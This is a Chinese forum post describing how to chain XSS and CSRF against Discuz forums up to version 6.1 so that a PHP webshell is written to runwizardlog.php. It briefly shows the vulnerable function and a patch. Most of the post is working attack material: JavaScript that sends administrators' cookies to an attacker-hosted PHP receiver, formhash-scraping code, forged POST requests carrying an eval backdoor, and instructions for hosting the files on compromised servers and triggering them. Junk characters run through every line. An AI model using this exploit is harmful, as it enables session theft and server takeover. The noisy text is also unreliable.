Discuz XSS得webshell
' c! K) D4 H( P2 { v8 MBy racle @tian6.com
9 w7 r: T- i% ~; i8 A' J( C9 ^欢迎转帖.但请保留版权信息.
/ j+ A$ k" t) T. X. T* |受影响版本 iscuz<=6.1.0,gbk+utf+big5
2 ^" P$ D6 ]6 H6 f! Q
1 C( w. ~* y A7 e新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效.
6 T `4 Z2 |/ V/ o& [9 I1 @
$ q, Z: o. F6 e1 o4 ~( T$ A$ M9 v+ }4 z* v- `9 H8 q" M
3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
* q% K* c: X: E9 j0 q8 r! S% R当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.3 m% k* K, s: P. v: j# i) y+ h+ V3 F
0 w2 k) @* [# O4 s% l! V
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..: o: Z: u% n$ V6 O$ G7 N3 R! L
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS
; e. `3 E8 P6 E O" ?. I) c/ S' S% I- F
* i* E0 ] |% [2 M----------------------------------------------------------前言分隔线-----------------------------------------------------------------------------+ s6 V) C; Z9 {3 v6 X% X
3 ?4 j* v2 `% r" H
0 t: |+ I8 g( t$ zproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.% l( w1 f1 ]/ V, N7 g& W7 U
& S! L1 r7 {) Zproblem2 ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
8 J/ U$ u/ v# ?$ P0 [, K2 ~6 i9 W2 j# ^; c1 l W& O- R
problem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.
( S/ F4 Z5 V- s9 O6 Z
' b0 w9 Y5 s" V- s* k! W1 n w$ I. s
下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {* i* d+ I3 P* C1 A& U
+ A3 S9 H. D8 O/ d7 s global $runwizardfile, $runwizardhistory;
$ @! v. A. R1 j1 j+ Z2 N4 J7 M6 c9 f' j. ]- R
$fp = fopen($runwizardfile, 'w');
2 t) Q3 ?0 x/ R j* o/ _ P2 i' j$ f: }' }4 r
fwrite($fp, serialize($runwizardhistory));
9 H2 p. ]2 s) n; u
! {4 j3 x# G3 P$ Q fclose($fp);
, s9 [# W0 q2 t6 @3 K$ M
" }/ s( e6 u1 W9 w) s7 `. f}
1 q6 _/ C+ I; e4 `/ x复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.
/ { g+ l9 b; Z$ t# t$ s7 D4 ]以下是修补的办法:function saverunwizardhistory() {
7 ~5 ] W6 i" S" O$ D6 ? v: K' {1 Y+ \
- s; `2 U; e& r* O; I5 L global $runwizardfile, $runwizardhistory;
7 U5 N* H: H4 z& Q/ I' t5 b: c8 }0 ^+ w
$fp = fopen($runwizardfile, 'w');7 Q! ~% `' @. C- V6 i* ?' T3 v
, {& N2 o" R' C3 U, }6 g1 y, [# f2 t $s = '<?php exit;?>';
- D% |! c1 ^7 C1 c
& F9 |; p3 r. A! i2 W2 J" z( P8 M $s .= serialize($runwizardhistory);( m2 [' d$ O6 l8 u
& _" b5 h' J0 i6 Z3 l9 f3 R5 {" L( y
fwrite($fp, $s);
: d0 \+ u1 W/ O* m( n0 I: t4 [ d6 A; N* ]. [$ l- K! U1 p% W
fclose($fp);' d* `( d6 o, n. i
8 p7 P& _7 _5 g2 A/ o- H( K
}
- D! | j$ D& ^( i) F( K复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
8 m8 B3 g ]# q$ m* {! b5 l. N5 T2 E" f" i+ f( n0 X
7 @2 L, N! C! m. O+ `5 a
7 Q" v) D; d3 i% Y( v----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------8 e. o! ~2 j1 Q, S
0 g' Q, i5 o+ a# ]/ m- h
, \) ^' ~7 H) i |9 J 以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
4 w" T, i/ S8 P" i
7 |$ f. t% }5 E1 k& l u我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
: Z# W5 H2 [, C$ [- z5 H. J# s8 _2 |& A" ~$ y! L, b
这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
/ i4 ?, N0 d+ d+ t8 `8 d( V% j! A& h8 e( I% q$ b% d
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:. P0 K/ G6 M* r! U. u* G; l
# Q/ t" Q: _; g
var url="http://目标网站/admincp.php";
! J2 _) G1 z' ~' l. \; r* K' g1 X. R2 G+ E# i7 W8 W5 a. h
/*获得cookies*/" G! M$ x+ l8 M! O3 q& l, s
i7 W) F2 N1 i1 U
function getURL(s) {1 p$ |; l3 \' f
7 v. \: H8 S: M3 g/ H8 pvar image = new Image();
! S H& z4 Q5 U
. Y O1 l6 A) ^) E+ bimage.style.width = 0;
' N% D" |* H p6 Y8 b8 Q
/ B$ x2 x. c' Z6 Uimage.style.height = 0;+ G! e1 {% V( B. {# T6 Q6 p# z' _
6 u! t+ y% ~; U- g0 N8 p8 ximage.src = s;: J! J; Z7 E8 u' ~" m
; Z) z& a2 `; r, t}
0 y, b) a$ z* V6 A- J& E: a5 H4 G5 y. [
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie)); //这里就通过image变量传给了php
" u' j3 P; }6 y) ]复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
" L+ Y/ r: W8 [ o复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 
2 }) V/ P9 f" s( g0 V
' U: f8 v; k1 C- E
* r7 z& e: I8 Q: u6 J6 u- z* Y获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
( K3 {2 o" ^/ u/ J: D- _9 V9 u' T! a6 @+ n; D+ y3 b4 _
# x- b* |, Y+ G7 I9 c4 g
& _' s- @ [' B, a- O4 X/*hash*/
2 `. X" v2 H' l8 B7 ?4 x
% M) w, Q* P$ R! vvar xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");
4 N2 q, y- l' `: n; _& o) F/ k
7 f I# d+ U' x5 U+ c$ S/ M8 VxmlHttpReq.open("GET", url+"admincp.php?action=home", false); R% O! U7 A+ d' a6 |4 U
7 o) A; K3 S4 jxmlHttpReq.send();7 ?2 d) M- n8 k4 E, t9 ]
+ D! o. p" H4 T
var resource = xmlHttpReq.responseText; u# T) }# Z0 @9 b3 ~8 L
$ H1 q5 d. {8 d4 M, R: p+ F; x* q& Yvar numero = resource.search(/formhash/);
) [% W" t: u. H2 b, ~" s( b- s; [4 ?0 ^5 _! @7 c+ u5 ^- Q
var formhash=encodeURIComponent(resource.substr(numero+17,8));$ |: ?, e5 N) e. z; \
) w; U) j/ D) C6 ?0 _# r" y
/ i! w# _0 Q! d" F5 X
2 k% p( ^6 U4 a+ ?% uvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
! n2 c7 m1 I- f' y) ^* v& D' f( Y; `7 c) W& p0 V
xmlHttpReq.open(" OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信
# e& ]- o+ R7 b, I" S3 w: T A z$ N0 T& F1 I0 K
xmlHttpReq.setRequestHeader("Referer", url);
3 e$ O1 K5 ~2 ]% {5 v/ b' ~) c) J: Q2 A. I+ n
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
; |1 L( B. `: `* r
& |: @2 h8 l/ G* e+ p4 a7 HxmlHttpReq.setrequestheader("content-length",post.length); 0 w H% `4 P, Q8 s' u0 u. x
' B8 h* \6 D& T/ b4 H
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded"); 3 I: I% P# e; K
4 {7 c* T- Y2 e2 v( p0 h2 F7 y
xmlHttpReq.send(post);//发送数据6 T) g/ U" \7 Z# I. C( s
复制代码这里HASH我假设正确,这样提交,也无须cookies& D# c- }. S, N$ d/ x
9 B+ J c2 n. n. U; @
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);6 q' T6 x' c# u6 T) }# M' V9 A
) E6 D" s! R& e/ I8 }& }( R* b) {if (!$sock) die("$errstr ($errno)\n");
% r9 L, w( X7 D0 z$ o! `% H l( @+ H1 q; H/ z% [" \. `' \
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';# ^0 O% ]. Q' v
$ f- d! E1 K) F* O0 y# a+ m4 L& C9 t) A
* g7 @3 Y: t, u! m2 ^& ^
fwrite($sock, " OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
: T8 S( h5 T$ a6 z* J* j9 Z9 A. @- X& B: x9 H5 b$ e5 o$ q M
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");; `3 |7 C1 U$ X+ o0 L) b
1 j- M0 q; G& A3 v9 @& q9 u
fwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
" v( k4 X9 K5 W( c
8 n1 R$ m- J! \7 O/ X5 afwrite($sock, "Accept-Language: zh-cn\r\n");
1 L2 d/ I$ ?* Q- F o3 s4 [4 }. {7 u" Q% U- E" I; a) s
fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");0 q% ]& E6 O4 y( @ \
% F7 U# D1 i6 O5 D, u. ?
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");
& u2 L2 o/ g5 q& Y# A! n5 T/ l9 |- g+ k3 L5 [& G j
fwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");& S: _+ G8 W3 R/ K+ c4 I- a+ @9 x1 m
$ [9 u! t T3 y$ }" R. c1 Q D' ^fwrite($sock, "Host: $url\r\n");$ I9 V/ I0 d6 G+ Z, ?( e3 N2 R+ a
$ W/ S1 k- s1 U$ a: \# t+ L. y, s% k& Rfwrite($sock, "Content-Length: ".strlen($data)."\r\n");
5 H6 v) H2 j \& Q9 ^ ]: I4 Y$ \" D5 D0 j: l0 J4 y% @. P' e
fwrite($sock, "Connection: Keep-Alive\r\n");. {, ]2 `+ b" X5 f: h% u* i& {
5 L0 C7 P% v1 gfwrite($sock, "Cache-Control: no-cache\r\n");
]. S) h3 Z, T* i: p0 h* [, k+ t2 g! C. \1 U' Z, ~6 @
fwrite($sock, "Cookie:".$cookies."\r\n\r\n");/ ]8 K: O( p. X2 a: s* Q
; n) V7 h, U- X* P, S* v8 q: \fwrite($sock, $data);
?# j" P0 w1 i$ ?4 }! d
$ q- d% o* H+ s% g" j
, v+ O; U( d# D' `& H
6 q' U! V/ J8 a3 m/ @7 q$ v5 U/ g$headers = "";, V5 |8 J, n9 V% ~% n5 d& S6 Y
# B, X" S; n, h- J# E$ G' c
while ($str = trim(fgets($sock, 4096)))0 \9 \) f, U' s; Z
& E5 E1 W+ Y/ a' V& S4 U7 P3 I $headers .= "$str\n";
. M% D/ S g8 [% @
q$ A- P" K# a) techo "\n";
) S" H" M% l! A* u& _$ ~: L9 y2 z$ U; V, G9 H7 l" }/ x4 U
$body = "";) \2 U- I! w; b. p/ |
- m4 B3 i3 e3 A6 awhile (!feof($sock))
; ]' J* C a9 X: b( A# e! B5 U* G/ A. t# i: s3 v2 j x
$body .= fgets($sock, 4096);5 ~& n6 ?- O' N$ a: ?8 s& W
: L" E! s$ f; J1 ^ g" X- qfclose($sock);
) N# Z5 [4 k0 v, w8 M' R
; W/ Q* c- S. d! f0 H, B+ s' Cecho $body;3 c2 p% K$ \# U( d* W) G
复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^2 l# K' q3 w ~* r
' l1 u3 @& G: ]" b9 d
1 e; k. u7 H& q$ Q-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
1 m3 T, c: ^3 C9 s0 Y2 u, d6 a1 z
' T4 L' R! G4 Z( P
1 HP SOCKET利用方法首先打开racle.js
+ V: j1 C( Z0 T7 s( T! D; ]
) ^6 P5 b4 Z( w0 i0 tvar url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home
4 d k" L; }8 F3 n, r- H2 I6 u$ r' u
$ d( P+ y* g4 i9 H+ B; C: q
- A. |" E$ e8 @0 M" k$ x5 w1 `- u: D
然后打开racle@tian6.php( Q# j8 n {2 R
: p( i: s( I, v% i$url="racle@tian6.com"; //改成你要XSS攻击的目标,譬如www.discuz.com2 M- G+ f/ O, A: X" K) k& G
% {# r* x' N! t3 [2 Y2 h" q* [, q% k, c) N* K! p W2 J; S
7 ]5 Y. a( n# `5 Q. G" R1 I
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:' a% V( N* |$ B
+ N8 Z# e5 f3 B; _+ jgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));
! |7 X. U7 K5 M' `7 p6 ^& k" `% A4 q7 T* B; D# \+ `
为' t$ n) t: y1 c6 e. a \- k* C. K
* ^) t" ?# f' l5 F
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));9 t# @/ b% g) ~, s) ?
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.
# L% ^: J3 E- a6 J" p. N( r1 q$ K+ T9 a2 @2 E' o
4 `7 Q& E6 g5 N( r8 p
' `; S6 p+ S; E1 r, h; z如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改: }% K0 i3 y% p5 U
; q6 @2 a; _, q3 o* d8 ^
var formhash=encodeURIComponent(resource.substr(numero+17,8));
8 C/ W1 p% ~( J
4 M& Q1 w* n9 y/ w' d为
! F8 V0 t% p" U4 |, {' O2 Q
; c* q1 R7 e5 g8 pvar formhash=encodeURIComponent(resource.substr(numero+9,8));2 Y n& |4 }1 @# {. [0 _
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.8 I6 g' U1 a/ S( K4 J1 `- [/ T3 T* O
9 m, e/ M- A+ k" x0 V( T0 I4 y
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.
( [/ Q, f% ~! N6 H' B( X+ L- r2 B* O# N& v2 S
如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
5 N' M5 W5 n% E1 G! v2 z5 N2 V" a E( d( U% i
不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧. u) d7 x0 q/ a) j- ?
+ y4 g, Z8 `* z" y |